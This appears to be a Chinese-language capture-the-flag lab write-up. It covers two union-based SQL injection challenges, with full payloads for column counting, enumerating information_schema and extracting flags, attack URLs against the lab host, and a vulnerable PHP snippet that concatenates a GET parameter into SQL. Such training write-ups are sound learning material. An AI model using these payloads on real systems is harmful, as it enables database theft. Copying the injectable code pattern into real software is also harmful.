显错注入(一)&(二)
首先查询是否有sql注入,
查询的语句分别为:
-
select *from user where id=1 and 2<5 -
select *from user where id=1 and 5<2 如果存在SQL注入,第一条语句正常运行,第二条语句报错: 第一条查询结果: 第二条查询结果 因此存在SQL注入!
找见相关的数据库
利用 order by 语句判断显示位---->猜字段
order by 用于判断显示位,order by 原有的作用是对列进行一个排序,在sql注入中用order by 来判断排序,order by 1就是对一个列进行排序,如果一共四个列,你order by 5 数据库不知道怎么排序,于是乎就错误了无返回值。
order by 1
order by 2
order by 3
order by 4
发现order by 4时无输出,因此有三个字段。
通过union select确认输出位
得知输出位为第二列和第三列第一列不输出。
获取表名
利用数据库自带的库information_schema;
-
information_schema是mysql的系统自带表,用于查询数据,在mysql5.0以上版本中存在。 查询语句和结果如下: 得到第一个表名为:user 得到第二个表名为:error_flag 采用limit语句,limit 在注入中用于排序然后输出,limit a,b a代表了从哪个位置(从0开始) b代表从那位开始显示几条数据。
查询列对应的数据(行)
- limit0,0
select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 0,1 - limit1,1
select *from user where id=2 and 1=2 union select 1,2,column_name from information_schema.columns where table_schema=database() and table_name=‘error_flag’ limit 1,1
最后一步–获取flag内容
and 1=2 union select 1,flag,3 from error_flag flag为zKaq-Nf 最后到平台提交flag即可。
显错注入(二)
查看源码:
$username = '';
$password = '';
@$id = $_GET['id'];
@$sql = 'select *from user where id='\''.$id.'\'';
mysqli_select_db($conn,'****');
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
- 发现有一处正则表达式(‘select *from user where id=’‘’.$id.‘’';)有单引号过滤。
因此注入时要注意使其单引号闭合,套路与之前的显错注入一样:
确认有注入漏洞
- select *from user where id='1 ’ and 1=1 --qwe’时正常运行;
- select *from user where id='1 ’ and 1=2–qwe’时报错;
确定字段数
- select *from user where id='1 ’ and 1=1 order by 1 – '正常运行;
- select *from user where id='1 ’ and 1=1 order by 2 – '正常运行;
- select *from user where id='1 ’ and 1=1 order by 3 – '正常运行;
- select *from user where id='1 ’ and 1=1 order by 4 – '报错;
因此有三个字段。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8LNwMkdm-1660654697325)(https://nc0.cdn.zkaq.cn/md/13053/c173b3d2fb827b988ab172407744204c_92692.png)]
判断回显点
select *from user where id='1 ’ and 1 = 2 union select 1,2,3 – ’
发现回显点有2,3两位:
查库名
?id=1’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 0,1 --qwe ?id=1’ and 1=2 union select 1,2,table_name from information_schema.tables where table_schema=database() limit 1,1 --qwe
查字段名
- select *from user where id='1 ’ and 1 = 2 union select 1,2,column_name from information_schema.columns where table_name=‘error_flag’ limit 1,1 – ’
查数据
- 逐一输出: http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1%20%27%20and%201=2%20union%20select%201,2,flag%20from%20error_flag%20limit%200,1–+
- 全部输出:http://inject2b.lab.aqlab.cn/Pass-02/index.php?id=1%20%27%20and%201=2%20union%20select%201,2,group_concat(flag)%20from%20error_flag%20–+
最后逐一尝试即可得到flag为:zKaQ-BJY
|